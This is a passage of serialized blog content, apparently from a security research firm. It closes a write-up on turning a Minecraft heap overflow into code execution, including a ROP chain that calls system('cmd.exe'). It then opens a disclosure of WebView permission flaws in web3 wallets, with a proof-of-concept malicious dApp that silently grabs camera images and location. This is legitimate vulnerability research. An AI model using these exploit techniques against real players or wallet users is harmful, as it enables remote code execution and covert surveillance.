`GetModuleHandle`\n",{"type":23,"tag":230,"props":157998,"children":157999},{"class":232,"line":471},[158000,158005,158009,158014],{"type":23,"tag":230,"props":158001,"children":158002},{"style":274},[158003],{"type":29,"value":158004},"rop.literal(u64(",{"type":23,"tag":230,"props":158006,"children":158007},{"style":256},[158008],{"type":29,"value":5561},{"type":23,"tag":230,"props":158010,"children":158011},{"style":380},[158012],{"type":29,"value":158013},"\"ucrtbase\"",{"type":23,"tag":230,"props":158015,"children":158016},{"style":274},[158017],{"type":29,"value":22026},{"type":23,"tag":230,"props":158019,"children":158020},{"class":232,"line":500},[158021,158025,158029,158034,158039,158043],{"type":23,"tag":230,"props":158022,"children":158023},{"style":274},[158024],{"type":29,"value":158004},{"type":23,"tag":230,"props":158026,"children":158027},{"style":256},[158028],{"type":29,"value":5561},{"type":23,"tag":230,"props":158030,"children":158031},{"style":380},[158032],{"type":29,"value":158033},"\".dll",{"type":23,"tag":230,"props":158035,"children":158036},{"style":50145},[158037],{"type":29,"value":158038},"\\x00\\x00\\x00\\x00",{"type":23,"tag":230,"props":158040,"children":158041},{"style":380},[158042],{"type":29,"value":22374},{"type":23,"tag":230,"props":158044,"children":158045},{"style":274},[158046],{"type":29,"value":22026},{"type":23,"tag":230,"props":158048,"children":158049},{"class":232,"line":514},[158050,158054,158058,158063,158068,158072],{"type":23,"tag":230,"props":158051,"children":158052},{"style":274},[158053],{"type":29,"value":158004},{"type":23,"tag":230,"props":158055,"children":158056},{"style":256},[158057],{"type":29,"value":5561},{"type":23,"tag":230,"props":158059,"children":158060},{"style":380},[158061],{"type":29,"value":158062},"\"system",{"type":23,"tag":230,"props":158064,"children":158065},{"style":50145},[158066],{"type":29,"value":158067},"\\x00\\x00",{"type":23,"tag":230,"props":158069,"children":158070},{"style":380},[158071],{"type":29,"value":22374},{"type":23,"tag":230,"props":158073,"children":158074},{"style":274},[158075],{"type":29,"value":22026},{"type":23,"tag":230,"props":158077,"children":158078},{"class":232,"line":897},[158079],{"type":23,"tag":230,"props":158080,"children":158081},{"emptyLinePlaceholder":18},[158082],{"type":29,"value":459},{"type":23,"tag":230,"props":158084,"children":158085},{"class":232,"line":960},[158086],{"type":23,"tag":230,"props":158087,"children":158088},{"style":237},[158089],{"type":29,"value":158090},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":230,"props":158092,"children":158093},{"class":232,"line":969},[158094,158099],{"type":23,"tag":230,"props":158095,"children":158096},{"style":274},[158097],{"type":29,"value":158098},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":230,"props":158100,"children":158101},{"style":237},[158102],{"type":29,"value":158103},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":230,"props":158105,"children":158106},{"class":232,"line":4526},[158107],{"type":23,"tag":230,"props":158108,"children":158109},{"style":274},[158110],{"type":29,"value":158111},"rop.gadget(pop_rdx)\n",{"type":23,"tag":230,"props":158113,"children":158114},{"class":232,"line":4534},[158115,158119,158123,158127,158131,158135,158139,158143],{"type":23,"tag":230,"props":158116,"children":158117},{"style":274},[158118],{"type":29,"value":157951},{"type":23,"tag":230,"props":158120,"children":158121},{"style":256},[158122],{"type":29,"value":157956},{"type":23,"tag":230,"props":158124,"children":158125},{"style":5149},[158126],{"type":29,"value":157961},{"type":23,"tag":230,"props":158128,"children":158129},{"style":268},[158130],{"type":29,"value":11238},{"type":23,"tag":230,"props":158132,"children":158133},{"style":256},[158134],{"type":29,"value":157896},{"type":23,"tag":230,"props":158136,"children":158137},{"style":5149},[158138],{"type":29,"value":91032},{"type":23,"tag":230,"props":158140,"children":158141},{"style":274},[158142],{"type":29,"value":703},{"type":23,"tag":230,"props":158144,"children":158145},{"style":237},[158146],{"type":29,"value":158147},"# offset of \"system\" string\n",{"type":23,"tag":230,"props":158149,"children":158150},{"class":232,"line":4542},[158151],{"type":23,"tag":230,"props":158152,"children":158153},{"style":274},[158154],{"type":29,"value":158155},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":230,"props":158157,"children":158158},{"class":232,"line":4559},[158159],{"type":23,"tag":230,"props":158160,"children":158161},{"emptyLinePlaceholder":18},[158162],{"type":29,"value":459},{"type":23,"tag":230,"props":158164,"children":158165},{"class":232,"line":4587},[158166],{"type":23,"tag":230,"props":158167,"children":158168},{"style":237},[158169],{"type":29,"value":158170},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":230,"props":158172,"children":158173},{"class":232,"line":4595},[158174],{"type":23,"tag":230,"props":158175,"children":158176},{"style":274},[158177],{"type":29,"value":157943},{"type":23,"tag":230,"props":158179,"children":158180},{"class":232,"line":4619},[158181,158185,158189,158194,158198],{"type":23,"tag":230,"props":158182,"children":158183},{"style":274},[158184],{"type":29,"value":157951},{"type":23,"tag":230,"props":158186,"children":158187},{"style":256},[158188],{"type":29,"value":157956},{"type":23,"tag":230,"props":158190,"children":158191},{"style":5149},[158192],{"type":29,"value":158193},"7468DB8",{"type":23,"tag":230,"props":158195,"children":158196},{"style":274},[158197],{"type":29,"value":703},{"type":23,"tag":230,"props":158199,"children":158200},{"style":237},[158201],{"type":29,"value":158202},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":230,"props":158204,"children":158205},{"class":232,"line":4627},[158206,158210],{"type":23,"tag":230,"props":158207,"children":158208},{"style":274},[158209],{"type":29,"value":157978},{"type":23,"tag":230,"props":158211,"children":158212},{"style":237},[158213],{"type":29,"value":157983},{"type":23,"tag":230,"props":158215,"children":158216},{"class":232,"line":4659},[158217,158221],{"type":23,"tag":230,"props":158218,"children":158219},{"style":274},[158220],{"type":29,"value":157991},{"type":23,"tag":230,"props":158222,"children":158223},{"style":237},[158224],{"type":29,"value":158225},"# calls `system`\n",{"type":23,"tag":230,"props":158227,"children":158228},{"class":232,"line":4671},[158229,158233,158237,158242,158247,158251],{"type":23,"tag":230,"props":158230,"children":158231},{"style":274},[158232],{"type":29,"value":158004},{"type":23,"tag":230,"props":158234,"children":158235},{"style":256},[158236],{"type":29,"value":5561},{"type":23,"tag":230,"props":158238,"children":158239},{"style":380},[158240],{"type":29,"value":158241},"\"cmd.exe",{"type":23,"tag":230,"props":158243,"children":158244},{"style":50145},[158245],{"type":29,"value":158246},"\\x00",{"type":23,"tag":230,"props":158248,"children":158249},{"style":380},[158250],{"type":29,"value":22374},{"type":23,"tag":230,"props":158252,"children":158253},{"style":274},[158254],{"type":29,"value":22026},{"type":23,"tag":59,"props":158256,"children":158258},{"id":158257},"demo",[158259],{"type":29,"value":158260},"Demo",{"type":23,"tag":32,"props":158262,"children":158263},{},[158264],{"type":29,"value":158265},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":133637,"props":158267,"children":158270},{"className":158268,"controls":18},[143604,158269],"blog-video-wide",[158271,158272,158276],{"type":29,"value":143607},{"type":23,"tag":142843,"props":158273,"children":158275},{"src":158274,"type":133635},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":143613},{"type":23,"tag":24,"props":158278,"children":158279},{"id":5163},[158280],{"type":29,"value":5166},{"type":23,"tag":32,"props":158282,"children":158283},{},[158284],{"type":29,"value":158285},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":32,"props":158287,"children":158288},{},[158289],{"type":29,"value":158290},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":32,"props":158292,"children":158293},{},[158294],{"type":29,"value":158295},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":5178,"props":158297,"children":158298},{},[158299],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":158301},[158302,158306,158311,158322],{"id":148962,"depth":243,"text":148965,"children":158303},[158304,158305],{"id":148997,"depth":252,"text":149000},{"id":149013,"depth":252,"text":149016},{"id":149034,"depth":243,"text":149037,"children":158307},[158308,158309,158310],{"id":149050,"depth":252,"text":149053},{"id":149138,"depth":252,"text":149141},{"id":151438,"depth":252,"text":151441},{"id":7758,"depth":243,"text":7761,"children":158312},[158313,158314,158315,158316,158317,158318,158319,158320,158321],{"id":151545,"depth":252,"text":151548},{"id":151570,"depth":252,"text":151573},{"id":151707,"depth":252,"text":151710},{"id":153871,"depth":252,"text":153874},{"id":154233,"depth":252,"text":154236},{"id":155053,"depth":252,"text":155056},{"id":157167,"depth":252,"text":157170},{"id":157785,"depth":252,"text":157788},{"id":158257,"depth":252,"text":158260},{"id":5163,"depth":243,"text":5166},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":158327,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158328,"description":158329,"date":158330,"author":158331,"image":158333,"isFeatured":18,"onBlogPage":18,"tags":158335,"body":158337,"_type":5202,"_id":160660,"_source":5204,"_file":160661,"_stem":160662,"_extension":5207},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[11,12,158332],"nikolaos",{"src":158334,"width":99047,"height":16},"/posts/insecure-webview-integrations/title.png",[34435,133743,158336],"webview",{"type":20,"children":158338,"toc":160647},[158339,158344,158349,158355,158360,158365,158370,158376,158381,158387,158409,158422,158442,158456,158462,158476,158484,158489,158495,158500,158509,158530,158674,158679,158685,158690,158695,158709,158713,158718,158736,160164,160168,160173,160185,160194,160199,160205,160227,160235,160240,160246,160251,160269,160274,160280,160293,160575,160603,160616,160621,160634,160638,160643],{"type":23,"tag":32,"props":158340,"children":158341},{},[158342],{"type":29,"value":158343},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":32,"props":158345,"children":158346},{},[158347],{"type":29,"value":158348},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":37658,"props":158350,"children":158352},{"id":158351},"exploiting-mobile-webviews",[158353],{"type":29,"value":158354},"Exploiting Mobile WebViews",{"type":23,"tag":32,"props":158356,"children":158357},{},[158358],{"type":29,"value":158359},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":32,"props":158361,"children":158362},{},[158363],{"type":29,"value":158364},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":32,"props":158366,"children":158367},{},[158368],{"type":29,"value":158369},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":24,"props":158371,"children":158373},{"id":158372},"handling-webview-permissions",[158374],{"type":29,"value":158375},"Handling WebView permissions",{"type":23,"tag":32,"props":158377,"children":158378},{},[158379],{"type":29,"value":158380},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":59,"props":158382,"children":158384},{"id":158383},"android",[158385],{"type":29,"value":158386},"Android",{"type":23,"tag":32,"props":158388,"children":158389},{},[158390,158392,158399,158401,158407],{"type":29,"value":158391},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":181,"props":158393,"children":158396},{"href":158394,"rel":158395},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[185],[158397],{"type":29,"value":158398},"onPermissionRequest",{"type":29,"value":158400},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":71,"props":158402,"children":158404},{"className":158403},[],[158405],{"type":29,"value":158406},"PermissionRequest",{"type":29,"value":158408}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":5272,"props":158410,"children":158411},{},[158412],{"type":23,"tag":32,"props":158413,"children":158414},{},[158415,158417,158420],{"type":29,"value":158416},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":230,"props":158418,"children":158419},{},[],{"type":29,"value":158421},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":32,"props":158423,"children":158424},{},[158425,158427,158433,158435,158441],{"type":29,"value":158426},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":71,"props":158428,"children":158430},{"className":158429},[],[158431],{"type":29,"value":158432},"getOrigin()",{"type":29,"value":158434}," and the requested permissions with ",{"type":23,"tag":71,"props":158436,"children":158438},{"className":158437},[],[158439],{"type":29,"value":158440},"getResources()",{"type":29,"value":312},{"type":23,"tag":32,"props":158443,"children":158444},{},[158445,158447,158454],{"type":29,"value":158446},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":181,"props":158448,"children":158451},{"href":158449,"rel":158450},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[185],[158452],{"type":29,"value":158453},"webview_shell",{"type":29,"value":158455},". In this instance, no origin checks are performed.",{"type":23,"tag":59,"props":158457,"children":158459},{"id":158458},"ios",[158460],{"type":29,"value":158461},"iOS",{"type":23,"tag":32,"props":158463,"children":158464},{},[158465,158467,158474],{"type":29,"value":158466},"On the contrary, iOS ",{"type":23,"tag":181,"props":158468,"children":158471},{"href":158469,"rel":158470},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[185],[158472],{"type":29,"value":158473},"documentation",{"type":29,"value":158475}," states that:",{"type":23,"tag":5272,"props":158477,"children":158478},{},[158479],{"type":23,"tag":32,"props":158480,"children":158481},{},[158482],{"type":29,"value":158483},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":32,"props":158485,"children":158486},{},[158487],{"type":29,"value":158488},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":24,"props":158490,"children":158492},{"id":158491},"the-shortcomings-of-webview-implementations",[158493],{"type":29,"value":158494},"The shortcomings of WebView implementations",{"type":23,"tag":32,"props":158496,"children":158497},{},[158498],{"type":29,"value":158499},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":33652,"props":158501,"children":158502},{"style":33654},[158503],{"type":23,"tag":93,"props":158504,"children":158508},{"src":158505,"alt":158506,"style":158507},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":158510,"children":158511},{},[158512,158514,158520,158522,158528],{"type":29,"value":158513},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":71,"props":158515,"children":158517},{"className":158516},[],[158518],{"type":29,"value":158519},"react-native-webview",{"type":29,"value":158521},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":181,"props":158523,"children":158526},{"href":158524,"rel":158525},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[185],[158527],{"type":29,"value":158398},{"type":29,"value":158529}," method, we see a similar pattern.",{"type":23,"tag":220,"props":158531,"children":158535},{"className":158532,"code":158533,"language":158534,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[158536],{"type":23,"tag":71,"props":158537,"children":158538},{"__ignoreMap":7},[158539,158547,158576,158636,158656,158667],{"type":23,"tag":230,"props":158540,"children":158541},{"class":232,"line":233},[158542],{"type":23,"tag":230,"props":158543,"children":158544},{"style":237},[158545],{"type":29,"value":158546},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":230,"props":158548,"children":158549},{"class":232,"line":243},[158550,158554,158558,158563,158567,158572],{"type":23,"tag":230,"props":158551,"children":158552},{"style":866},[158553],{"type":29,"value":17904},{"type":23,"tag":230,"props":158555,"children":158556},{"style":274},[158557],{"type":29,"value":664},{"type":23,"tag":230,"props":158559,"children":158560},{"style":262},[158561],{"type":29,"value":158562},"requestedAndroidPermissions",{"type":23,"tag":230,"props":158564,"children":158565},{"style":274},[158566],{"type":29,"value":312},{"type":23,"tag":230,"props":158568,"children":158569},{"style":294},[158570],{"type":29,"value":158571},"isEmpty",{"type":23,"tag":230,"props":158573,"children":158574},{"style":274},[158575],{"type":29,"value":93800},{"type":23,"tag":230,"props":158577,"children":158578},{"class":232,"line":252},[158579,158584,158588,158593,158597,158602,158606,158611,158615,158619,158624,158628,158632],{"type":23,"tag":230,"props":158580,"children":158581},{"style":262},[158582],{"type":29,"value":158583},"    request",{"type":23,"tag":230,"props":158585,"children":158586},{"style":274},[158587],{"type":29,"value":312},{"type":23,"tag":230,"props":158589,"children":158590},{"style":294},[158591],{"type":29,"value":158592},"grant",{"type":23,"tag":230,"props":158594,"children":158595},{"style":274},[158596],{"type":29,"value":302},{"type":23,"tag":230,"props":158598,"children":158599},{"style":262},[158600],{"type":29,"value":158601},"grantedPermissions",{"type":23,"tag":230,"props":158603,"children":158604},{"style":274},[158605],{"type":29,"value":312},{"type":23,"tag":230,"props":158607,"children":158608},{"style":294},[158609],{"type":29,"value":158610},"toArray",{"type":23,"tag":230,"props":158612,"children":158613},{"style":274},[158614],{"type":29,"value":302},{"type":23,"tag":230,"props":158616,"children":158617},{"style":866},[158618],{"type":29,"value":17448},{"type":23,"tag":230,"props":158620,"children":158621},{"style":676},[158622],{"type":29,"value":158623}," String",{"type":23,"tag":230,"props":158625,"children":158626},{"style":274},[158627],{"type":29,"value":6069},{"type":23,"tag":230,"props":158629,"children":158630},{"style":5149},[158631],{"type":29,"value":6358},{"type":23,"tag":230,"props":158633,"children":158634},{"style":274},[158635],{"type":29,"value":105291},{"type":23,"tag":230,"props":158637,"children":158638},{"class":232,"line":280},[158639,158644,158648,158652],{"type":23,"tag":230,"props":158640,"children":158641},{"style":274},[158642],{"type":29,"value":158643},"    grantedPermissions ",{"type":23,"tag":230,"props":158645,"children":158646},{"style":268},[158647],{"type":29,"value":863},{"type":23,"tag":230,"props":158649,"children":158650},{"style":256},[158651],{"type":29,"value":72046},{"type":23,"tag":230,"props":158653,"children":158654},{"style":274},[158655],{"type":29,"value":511},{"type":23,"tag":230,"props":158657,"children":158658},{"class":232,"line":334},[158659,158663],{"type":23,"tag":230,"props":158660,"children":158661},{"style":866},[158662],{"type":29,"value":4427},{"type":23,"tag":230,"props":158664,"children":158665},{"style":274},[158666],{"type":29,"value":511},{"type":23,"tag":230,"props":158668,"children":158669},{"class":232,"line":371},[158670],{"type":23,"tag":230,"props":158671,"children":158672},{"style":274},[158673],{"type":29,"value":975},{"type":23,"tag":32,"props":158675,"children":158676},{},[158677],{"type":29,"value":158678},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":59,"props":158680,"children":158682},{"id":158681},"real-world-exploitation",[158683],{"type":29,"value":158684},"Real world exploitation",{"type":23,"tag":32,"props":158686,"children":158687},{},[158688],{"type":29,"value":158689},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":32,"props":158691,"children":158692},{},[158693],{"type":29,"value":158694},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":32,"props":158696,"children":158697},{},[158698,158700,158707],{"type":29,"value":158699},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":181,"props":158701,"children":158704},{"href":158702,"rel":158703},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[185],[158705],{"type":29,"value":158706},"Justson",{"type":29,"value":158708},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":192,"props":158710,"children":158711},{"id":4213},[158712],{"type":29,"value":4216},{"type":23,"tag":32,"props":158714,"children":158715},{},[158716],{"type":29,"value":158717},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":144,"props":158719,"children":158720},{},[158721,158726,158731],{"type":23,"tag":102,"props":158722,"children":158723},{},[158724],{"type":29,"value":158725},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":102,"props":158727,"children":158728},{},[158729],{"type":29,"value":158730},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":102,"props":158732,"children":158733},{},[158734],{"type":29,"value":158735},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":220,"props":158737,"children":158739},{"className":51794,"code":158738,"language":34676,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[158740],{"type":23,"tag":71,"props":158741,"children":158742},{"__ignoreMap":7},[158743,158763,158778,158794,158824,158847,158862,158877,158909,158955,158991,159019,159034,159080,159126,159134,159202,159230,159245,159253,159260,159280,159340,159381,159410,159451,159458,159487,159525,159562,159569,159576,159609,159630,159637,159699,159755,159791,159837,159845,159852,159895,159928,160053,160086,160093,160100,160107,160119,160134,160149],{"type":23,"tag":230,"props":158744,"children":158745},{"class":232,"line":233},[158746,158750,158754,158759],{"type":23,"tag":230,"props":158747,"children":158748},{"style":34669},[158749],{"type":29,"value":36514},{"type":23,"tag":230,"props":158751,"children":158752},{"style":256},[158753],{"type":29,"value":36519},{"type":23,"tag":230,"props":158755,"children":158756},{"style":262},[158757],{"type":29,"value":158758}," html",{"type":23,"tag":230,"props":158760,"children":158761},{"style":34669},[158762],{"type":29,"value":8329},{"type":23,"tag":230,"props":158764,"children":158765},{"class":232,"line":243},[158766,158770,158774],{"type":23,"tag":230,"props":158767,"children":158768},{"style":34669},[158769],{"type":29,"value":8143},{"type":23,"tag":230,"props":158771,"children":158772},{"style":256},[158773],{"type":29,"value":34676},{"type":23,"tag":230,"props":158775,"children":158776},{"style":34669},[158777],{"type":29,"value":8329},{"type":23,"tag":230,"props":158779,"children":158780},{"class":232,"line":252},[158781,158785,158790],{"type":23,"tag":230,"props":158782,"children":158783},{"style":34669},[158784],{"type":29,"value":8143},{"type":23,"tag":230,"props":158786,"children":158787},{"style":256},[158788],{"type":29,"value":158789},"head",{"type":23,"tag":230,"props":158791,"children":158792},{"style":34669},[158793],{"type":29,"value":8329},{"type":23,"tag":230,"props":158795,"children":158796},{"class":232,"line":280},[158797,158801,158806,158811,158815,158820],{"type":23,"tag":230,"props":158798,"children":158799},{"style":34669},[158800],{"type":29,"value":34738},{"type":23,"tag":230,"props":158802,"children":158803},{"style":256},[158804],{"type":29,"value":158805},"meta",{"type":23,"tag":230,"props":158807,"children":158808},{"style":262},[158809],{"type":29,"value":158810}," charset",{"type":23,"tag":230,"props":158812,"children":158813},{"style":274},[158814],{"type":29,"value":863},{"type":23,"tag":230,"props":158816,"children":158817},{"style":380},[158818],{"type":29,"value":158819},"\"utf-8\"",{"type":23,"tag":230,"props":158821,"children":158822},{"style":34669},[158823],{"type":29,"value":8329},{"type":23,"tag":230,"props":158825,"children":158826},{"class":232,"line":334},[158827,158831,158835,158839,158843],{"type":23,"tag":230,"props":158828,"children":158829},{"style":34669},[158830],{"type":29,"value":34738},{"type":23,"tag":230,"props":158832,"children":158833},{"style":256},[158834],{"type":29,"value":36592},{"type":23,"tag":230,"props":158836,"children":158837},{"style":34669},[158838],{"type":29,"value":51838},{"type":23,"tag":230,"props":158840,"children":158841},{"style":256},[158842],{"type":29,"value":36592},{"type":23,"tag":230,"props":158844,"children":158845},{"style":34669},[158846],{"type":29,"value":8329},{"type":23,"tag":230,"props":158848,"children":158849},{"class":232,"line":371},[158850,158854,158858],{"type":23,"tag":230,"props":158851,"children":158852},{"style":34669},[158853],{"type":29,"value":34722},{"type":23,"tag":230,"props":158855,"children":158856},{"style":256},[158857],{"type":29,"value":158789},{"type":23,"tag":230,"props":158859,"children":158860},{"style":34669},[158861],{"type":29,"value":8329},{"type":23,"tag":230,"props":158863,"children":158864},{"class":232,"line":391},[158865,158869,158873],{"type":23,"tag":230,"props":158866,"children":158867},{"style":34669},[158868],{"type":29,"value":8143},{"type":23,"tag":230,"props":158870,"children":158871},{"style":256},[158872],{"type":29,"value":1606},{"type":23,"tag":230,"props":158874,"children":158875},{"style":34669},[158876],{"type":29,"value":8329},{"type":23,"tag":230,"props":158878,"children":158879},{"class":232,"line":400},[158880,158884,158888,158892,158897,158901,158905],{"type":23,"tag":230,"props":158881,"children":158882},{"style":34669},[158883],{"type":29,"value":34738},{"type":23,"tag":230,"props":158885,"children":158886},{"style":256},[158887],{"type":29,"value":24},{"type":23,"tag":230,"props":158889,"children":158890},{"style":34669},[158891],{"type":29,"value":12792},{"type":23,"tag":230,"props":158893,"children":158894},{"style":274},[158895],{"type":29,"value":158896},"Smile dApp :)",{"type":23,"tag":230,"props":158898,"children":158899},{"style":34669},[158900],{"type":29,"value":34722},{"type":23,"tag":230,"props":158902,"children":158903},{"style":256},[158904],{"type":29,"value":24},{"type":23,"tag":230,"props":158906,"children":158907},{"style":34669},[158908],{"type":29,"value":8329},{"type":23,"tag":230,"props":158910,"children":158911},{"class":232,"line":444},[158912,158916,158921,158925,158929,158934,158938,158943,158947,158951],{"type":23,"tag":230,"props":158913,"children":158914},{"style":34669},[158915],{"type":29,"value":34738},{"type":23,"tag":230,"props":158917,"children":158918},{"style":256},[158919],{"type":29,"value":158920},"button",{"type":23,"tag":230,"props":158922,"children":158923},{"style":262},[158924],{"type":29,"value":34748},{"type":23,"tag":230,"props":158926,"children":158927},{"style":274},[158928],{"type":29,"value":863},{"type":23,"tag":230,"props":158930,"children":158931},{"style":380},[158932],{"type":29,"value":158933},"\"connect\"",{"type":23,"tag":230,"props":158935,"children":158936},{"style":34669},[158937],{"type":29,"value":12792},{"type":23,"tag":230,"props":158939,"children":158940},{"style":274},[158941],{"type":29,"value":158942},"Connect your wallet!",{"type":23,"tag":230,"props":158944,"children":158945},{"style":34669},[158946],{"type":29,"value":34722},{"type":23,"tag":230,"props":158948,"children":158949},{"style":256},[158950],{"type":29,"value":158920},{"type":23,"tag":230,"props":158952,"children":158953},{"style":34669},[158954],{"type":29,"value":8329},{"type":23,"tag":230,"props":158956,"children":158957},{"class":232,"line":453},[158958,158962,158966,158970,158974,158979,158983,158987],{"type":23,"tag":230,"props":158959,"children":158960},{"style":34669},[158961],{"type":29,"value":34738},{"type":23,"tag":230,"props":158963,"children":158964},{"style":256},[158965],{"type":29,"value":220},{"type":23,"tag":230,"props":158967,"children":158968},{"style":262},[158969],{"type":29,"value":34748},{"type":23,"tag":230,"props":158971,"children":158972},{"style":274},[158973],{"type":29,"value":863},{"type":23,"tag":230,"props":158975,"children":158976},{"style":380},[158977],{"type":29,"value":158978},"\"gps\"",{"type":23,"tag":230,"props":158980,"children":158981},{"style":34669},[158982],{"type":29,"value":51838},{"type":23,"tag":230,"props":158984,"children":158985},{"style":256},[158986],{"type":29,"value":220},{"type":23,"tag":230,"props":158988,"children":158989},{"style":34669},[158990],{"type":29,"value":8329},{"type":23,"ta